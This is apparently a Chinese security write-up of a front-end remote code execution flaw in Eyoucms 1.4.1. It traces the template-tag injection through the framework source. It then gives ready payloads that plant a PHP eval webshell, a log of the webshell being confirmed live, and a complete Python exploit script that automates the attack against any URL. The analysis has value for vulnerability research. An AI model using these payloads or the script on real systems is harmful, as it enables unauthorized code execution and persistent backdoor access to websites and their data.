Eyoucms 1.4.1 前台rce¶
一、漏洞简介¶
二、漏洞影响¶
Eyoucms 1.4.1
三、复现过程¶
漏洞分析¶
进入/application/api/controller/Ajax.php中的**function get_tag_memberlist**方法
public function get_tag_memberlist()
{
if (IS_AJAX_POST) {
$htmlcode = input('post.htmlcode/s');
$htmlcode = htmlspecialchars_decode($htmlcode);
$attarray = input('post.attarray/s');
$attarray = htmlspecialchars_decode($attarray);
$attarray = json_decode(base64_decode($attarray));
/*拼接完整的memberlist标签语法*/
$innertext = "{eyou:memberlist";
foreach ($attarray as $key => $val) {
if (in_array($key, ['js'])) {
continue;
}
$innertext .= " {$key}='{$val}'";
}
$innertext .= " js='on'}";
$innertext .= $htmlcode;
$innertext .= "{/eyou:memberlist}";
/*--end*/
$msg = $this->display($innertext); // 渲染模板标签语法
$data['msg'] = $msg;
$this->success('读取成功！', null, $data);
}
$this->error('加载失败！');
}
3 Line: 判断是否AJAX请求4 Line: 从post获取用户输入参数htmlcode的值并将结果赋值给$htmlcode5 Line: 将$htmlcode中的实体字符转换为正常字符7 Line: 从post获取用户输入参数attarray的值并将结果赋值给$attarray8 Line: 将$attarray中的实体字符转换为正常字符9 Line: 将$attarray进行base64解码再json解码12 Line: 定义标签13~18 Line: 使用foreach将$attay以键值对的方式遍历出来，判断每一个元素是否为js如果是那么直接进入下一次循环，否则"{$key}='{$val}'"连接到标签后面19 Line: 闭合第一个标签20 Line: 将$htmlcode拼接到标签后，作为内容使用21 Line: 将闭合标签拼接到$innertext中23 Line: 调用基类中的display方法并将$innertext传入
跟踪到/core/library/think/Controll.php文件中的**display**方法
protected function display($content = '', $vars = [], $replace = [], $config = [])
{
return $this->view->display($content, $vars, $replace, $config);
}
3 Line: 调用视图类中的display方法，并将$content、$vars、$replace、$config传入
跟踪到/core/library/think/View.php文件中的**display**方法
public function display($content, $vars = [], $replace = [], $config = [])
{
return $this->fetch($content, $vars, $replace, $config, true);
}
3 Line: 调用当前类中的fetch方法并将并将$content、$vars、$replace、$config传入
跟踪到/core/library/think/View.php文件中的**fetch**方法
public function fetch($template = '', $vars = [], $replace = [], $config = [], $renderContent = false)
{
// 模板变量
$vars = array_merge(self::$var, $this->data, $vars);
// 页面缓存
ob_start();
ob_implicit_flush(0);
// 渲染输出
try {
$method = $renderContent ? 'display' : 'fetch';
// 允许用户自定义模板的字符串替换
// $replace = array_merge($this->replace, $replace, (array) $this->engine->config('tpl_replace_string'));
$replace = array_merge($this->replace, (array) $this->engine->config('tpl_replace_string'), $replace); // 解决一个页面上调用多个钩子的冲突问题 by 小虎哥
/*插件模板字符串替换，不能放在构造函数，毕竟构造函数只执行一次 by 小虎哥*/
// if ($this->__isset('weappInfo')) {
// $weappInfo = $this->__get('weappInfo');
// if (!empty($weappInfo['code'])) {
// $replace['__WEAPP_TEMPLATE__'] = ROOT_DIR.'/'.WEAPP_DIR_NAME.'/'.$weappInfo['code'].'/template';
// }
// }
/*--end*/
$this->engine->config('tpl_replace_string', $replace);
$this->engine->$method($template, $vars, $config);
} catch (\Exception $e) {
ob_end_clean();
throw $e;
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter', $content);
// $this->checkcopyr($content);
return $content;
}
4 Line: 将当前类中的成员属性$var、$data以及传入的$vars合并为一个数组并赋给$vars7~8 Line: 开启页面缓存11 Line: 使用三元运算符判断外部传入的$renderContent是否为真，若为真那么将display赋值给$method，否则将fetch赋值给$method24 Line: 调用Think类中的$method方法并将$template、$vars、$config传入
跟踪到/core/library/think/view/driver/Think.php中的**display**方法
public function display($template, $data = [], $config = [])
{
$this->template->display($template, $data, $config);
}
3 Line: 调用模板类中的display方法并将$template、$data、$config传入
跟踪到/core/library/think/Template.php中的**display**方法
public function display($content, $vars = [], $config = [])
{
if ($vars) {
$this->data = $vars;
}
if ($config) {
$this->config($config);
}
$cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($content) . '.' . ltrim($this->config['cache_suffix'], '.');
if (!$this->checkCache($cacheFile)) {
// 缓存无效 模板编译
$this->compiler($content, $cacheFile);
}
// 读取编译存储
$this->storage->read($cacheFile, $this->data);
}
3~5 Line: 判断外部传入的$vars是否有值，若有那么则将$vars赋值给当前类中的成员属性data中6~8 Line: 判断$config是否有值，若有那么将$config传入当前类中的config方法9 Line: 生成缓存文件名称赋值给$cacheFile10~13 Line: 判断是否没有$cacheFile这个缓存文件，为真则调用当前类中的compiler方法并且将$content及$cacheFile传入其中
跟踪到/core/library/think/Template.php中的**compiler**方法
private function compiler(&$content, $cacheFile)
{
// 判断是否启用布局
if ($this->config['layout_on']) {
if (false !== strpos($content, '{__NOLAYOUT__}')) {
// 可以单独定义不使用布局
$content = str_replace('{__NOLAYOUT__}', '', $content);
} else {
// 读取布局模板
$layoutFile = $this->parseTemplateFile($this->config['layout_name']);
if (is_array($layoutFile)) { // 引入模板的错误友好提示 by 小虎哥
$content = !empty($layoutFile['msg']) ? $layoutFile['msg'] : $content;
} else if ($layoutFile) {
// 替换布局的主体内容
$content = str_replace($this->config['layout_item'], $content, file_get_contents($layoutFile));
}
}
} else {
$content = str_replace('{__NOLAYOUT__}', '', $content);
}
// 模板解析
$this->parse($content);
if ($this->config['strip_space']) {
/* 去除html空格与换行 */
$find = ['~>\s+<~', '~>(\s+\n|\r)~'];
$replace = ['><', '>'];
$content = preg_replace($find, $replace, $content);
}
// 优化生成的php代码
$content = preg_replace('/\?>\s*<\?php\s(?!echo\b)/s', '', $content);
// 模板过滤输出
$replace = $this->config['tpl_replace_string'];
$content = str_replace(array_keys($replace), array_values($replace), $content);
// 添加安全代码及模板引用记录
$content = '<?php if (!defined(\'THINK_PATH\')) exit(); /*' . serialize($this->includeFile) . '*/ ?>' . "\n" . $content;
// 编译存储
$this->storage->write($cacheFile, $content);
$this->includeFile = [];
return;
}
23 Line: 将外部传入的$content传到当前类中的parse（解析模板）方法中
跟踪到/core/library/think/Template.php中的**parse**方法
public function parse(&$content)
{
// 内容为空不解析
if (empty($content)) {
return;
}
// 替换eyou:literal标签内容
$this->parseEyouLiteral($content);
// 替换literal标签内容
$this->parseLiteral($content);
// 解析继承
$this->parseExtend($content);
// 解析布局
$this->parseLayout($content);
// 检查eyou:include语法 by 小虎哥
$this->parseEyouInclude($content);
// 检查include语法
$this->parseInclude($content);
// 替换包含文件中literal标签内容
$this->parseLiteral($content);
// 替换包含文件中eyou:literal标签内容
$this->parseEyouLiteral($content);
// 检查PHP语法
$this->parsePhp($content);
// 获取需要引入的标签库列表
// 标签库只需要定义一次，允许引入多个一次
// 一般放在文件的最前面
// 格式：<taglib name="html,mytag..." />
// 当TAGLIB_LOAD配置为true时才会进行检测
if ($this->config['taglib_load']) {
$tagLibs = $this->getIncludeTagLib($content);
if (!empty($tagLibs)) {
// 对导入的TagLib进行解析
foreach ($tagLibs as $tagLibName) {
$this->parseTagLib($tagLibName, $content);
}
}
}
// 预先加载的标签库 无需在每个模板中使用taglib标签加载 但必须使用标签库XML前缀
if ($this->config['taglib_pre_load']) {
$tagLibs = explode(',', $this->config['taglib_pre_load']);
foreach ($tagLibs as $tag) {
$this->parseTagLib($tag, $content);
}
}
// 内置标签库 无需使用taglib标签导入就可以使用 并且不需使用标签库XML前缀
$tagLibs = explode(',', $this->config['taglib_build_in']);
foreach ($tagLibs as $tag) {
$this->parseTagLib($tag, $content, true);
}
// 解析普通模板标签 {$tagName}
$this->parseTag($content);
// 还原被替换的eyou:Literal标签
$this->parseEyouLiteral($content, true);
// 还原被替换的Literal标签
$this->parseLiteral($content, true);
return;
}
24 Line: 调用当前类中的parsePhp（解析php标签）方法并将$content传入
跟踪到/core/library/think/Template.php中的**parsePhp**方法
private function parsePhp(&$content)
{
// 短标签的情况要将<?标签用echo方式输出 否则无法正常输出xml标识
$content = preg_replace('/(<\?(?!php|=|$))/i', '<?php echo \'\\1\'; ?>' . "\n", $content);
// 过滤eval函数，防止被注入执行任意代码 by 小虎哥
$view_replace_str = config('view_replace_str');
if (isset($view_replace_str['__EVAL__'])) {
if (stristr($content, '{eyou:php}')) { // 针对{eyou:php}标签语法处理
preg_match_all('/{eyou\:php}.*{\/eyou\:php}/iUs', $content, $matchs);
$matchs = !empty($matchs[0]) ? $matchs[0] : [];
if (!empty($matchs)) {
foreach($matchs as $key => $val){
$valNew = preg_replace('/{(\/)?eyou\:php}/i', '', $val);
$valNew = preg_replace("/([\W]+)eval(\s*)\(/i", 'intval(', $valNew);
$valNew = preg_replace("/^eval(\s*)\(/i", 'intval(', $valNew);
$valNew = "{eyou:php}{$valNew}{/eyou:php}";
$content = str_ireplace($val, $valNew, $content);
}
}
} else if (stristr($content, '{php}')) { // 针对{php}标签语法处理
preg_match_all('/{php}.*{\/php}/iUs', $content, $matchs);
$matchs = !empty($matchs[0]) ? $matchs[0] : [];
if (!empty($matchs)) {
foreach($matchs as $key => $val){
$valNew = preg_replace('/{(\/)?php}/i', '', $val);
$valNew = preg_replace("/([\W]+)eval(\s*)\(/i", 'intval(', $valNew);
$valNew = preg_replace("/^eval(\s*)\(/i", 'intval(', $valNew);
$valNew = "{php}{$valNew}{/php}";
$content = str_ireplace($val, $valNew, $content);
}
}
} else if (false !== strpos($content, '<?php')) { // 针对原生php语法处理
$content = preg_replace("/(@)?eval(\s*)\(/i", 'intval(', $content);
$this->config['tpl_deny_php'] && $content = preg_replace("/\?\bphp\b/i", "？ｍｕｍａ", $content);
}
}
// end
// PHP语法检查
if ($this->config['tpl_deny_php'] && false !== strpos($content, '<?php')) {
if (config('app_debug')) { // 调试模式下中断模板渲染 by 小虎哥
throw new Exception('not allow php tag', 11600);
} else { // 运营模式下继续模板渲染 by 小虎哥
echo(lang('not allow php tag'));
}
}
return;
}
4 Line: 将模板中php短标签转换为21 Line: 判断传入的$content中是否包含了{php}22 Line: 使用正则表达式匹配出$content中所有包含了"{php}任意内容{/php}"的标签23 Line: 使用三目运算符判断匹配出来的数组中的第0个元素是否有值，如果有值那么将第0个元素的值赋给$matchs否则将空数组赋给$matchs24 Line: 判断$matchs不为空25 Line: 将$matchs使用foreach循环遍历26 Line: 将$val中的"{/任意空白字符php}"替换为空并赋给$valnew27 Line: 将$valnew中的"多个或零个0-9A-Za-Z_eval("替换为"intval("28 Line: 将$valnew中的"开始为eval任意空白字符("替换为"intval("29 Line: 将字符串"{php}{$valNew}{/php}"赋给$valnew30 Line: 将$content中的$val替换为$valNew
漏洞复现¶
Payload:attarray=eyJ7cGhwfXBocGluZm8oKTt7XC9waHB9Ijoie3BocH1waHBpbmZvKCk7e1wvcGhwfSJ9&html={php}phpinfo();{/php}
Payload生成方式:
base64_encode(jsonstring)
eval会被替换成intval，所以我们采用base64加密写入webshell的方式php代码如下：
file_put_contents("./wait.php",base64_decode("PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg=="));
PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==内容：
<?php eval($_REQUEST[“w”]);?>
将php标签转换为json格式并加密：
print base64_encode(json_encode(array("{php}file_put_contents('./wait.php',base64_decode(\"PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==\"));{/php}"=>"{php}file_put_contents('./wait.php',base64_decode(\"PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==\"));{/php}")));
eyJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuXC93YWl0LnBocCcsYmFzZTY0X2RlY29kZShcIlBEOXdhSEFnWVhOelpYSjBLQ1JmVWtWUlZVVlRWRnNpZHlKZEtUc1wvUGc9PVwiKSk7e1wvcGhwfSI6IntwaHB9ZmlsZV9wdXRfY29udGVudHMoJy5cL3dhaXQucGhwJyxiYXNlNjRfZGVjb2RlKFwiUEQ5d2FIQWdZWE56WlhKMEtDUmZVa1ZSVlVWVFZGc2lkeUpkS1RzXC9QZz09XCIpKTt7XC9waHB9In0=
pyload:
attarray=eyJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuXC93YWl0LnBocCcsYmFzZTY0X2RlY29kZShcIlBEOXdhSEFnWVhOelpYSjBLQ1JmVWtWUlZVVlRWRnNpZHlKZEtUc1wvUGc9PVwiKSk7e1wvcGhwfSI6IntwaHB9ZmlsZV9wdXRfY29udGVudHMoJy5cL3dhaXQucGhwJyxiYXNlNjRfZGVjb2RlKFwiUEQ5d2FIQWdZWE56WlhKMEtDUmZVa1ZSVlVWVFZGc2lkeUpkS1RzXC9QZz09XCIpKTt7XC9waHB9In0=&htmlcode=bb
htmlcode参数作为随机方式传递
poc¶
silly@PenetrationOs:~#: python eyoucms-ssti.py -u http://192.168.1.106:8085/ -o abc
[+] 正在请求目标地址:http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist
[*] 目标地址http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist存活
[+] 正在向目标地址http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist写入abc.php
[*] 疑似成功写入Webshell
[+] 正在探测Webshell(http://192.168.1.106:8085/abc.php)是否存活
[*] Webshell(http://192.168.1.106:8085/abc.php)已存活
[*] 密码：ceshi
[*]
python
#!/usr/bin/python
-*- coding: UTF-8 -*-
import requests
import sys,getopt
import json,base64
import time
class Eyoucms:
session = None
headers = None
password = "ceshi"
output = "ceshi"
requesturi = "/?m=api&c=ajax&a=get_tag_memberlist"
def __init__(self,headers):
self.headers = headers
self.getparam(sys.argv[1:])
self.requestsdata = {
"attarray":self.createpyload(),
"htmlcode":time.time()
}
self.run()
def getparam(self,argv):
try:
options, args = getopt.getopt(argv, "h:u:p:o:", ["help", "url=","password=","output="])
except getopt.GetoptError:
print 'eyoucms-ssti.py -u url -p password -o outputfile'
return
for option, value in options:
if option in ("-h", "--help"):
print 'eyoucms-ssti.py -u url'
if option in ("-u", "--url"):
if(self.request(value).status_code != 404):
self.url = value
if option in ("-p", "--password"):
if(value != None):
self.password = value
else:
self.password = "ceshi"
if option in ("-o", "--output"):
if(value != None):
self.output = value.replace(".php","")
else:
self.output = "ceshi"
def run(self):
url = self.url.rstrip('/')+self.requesturi
print "[+] 正在请求目标地址:%s"%(url)
if(self.request(url).status_code == 200):
print "
目标地址%s存活"%url
else:
print "[-] 目标地址%s探测失败"%url
return
print "[+] 正在向目标地址%s写入%s.php"%(url,self.output)
if(self.request(url,"post").status_code == 200):
print "
疑似成功写入Webshell"
shell = self.url.rstrip('/')+"/%s.php"%self.output
print "[+] 正在探测Webshell(%s)是否存活"%(shell)
if(self.request(shell).status_code == 200):
print "
Webshell(%s)已存活\n
密码：%s"%(shell,self.password)
def createpyload(self):
short = base64.b64encode("<php eval($_REQUEST[%s]);?>"%self.password)
file = self.output
payload = {
"{php}1{/php}":"{php}file_put_contents('./%s.php',base64_decode('%s'));{/php}"%(file,short)
}
return base64.b64encode(json.dumps(payload))
def request(self,url,method="get"):
respone = None
if(not self.session):
self.session = requests.Session()
if(method == "get"):
try:
respone = self.session.get(url=url,headers=self.headers)
except requests.exceptions.ConnectTimeout:
print "[-] 请求%s超时"%url
return
except requests.exceptions.ConnectionError:
print "[-] 请求%s无效"%url
return
return respone
elif(method == "post"):
try:
respone = self.session.post(url=url,data=self.requestsdata,headers=self.headers)
except requests.exceptions.ConnectTimeout:
print "[-] 请求%s超时"%url
return
except requests.exceptions.ConnectionError:
print "[-] 请求%s无效"%url
return
return respone
if __name__ == "__main__":
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0",
"X-Requested-With":"XMLHttpRequest"
}
Eyoucms(headers)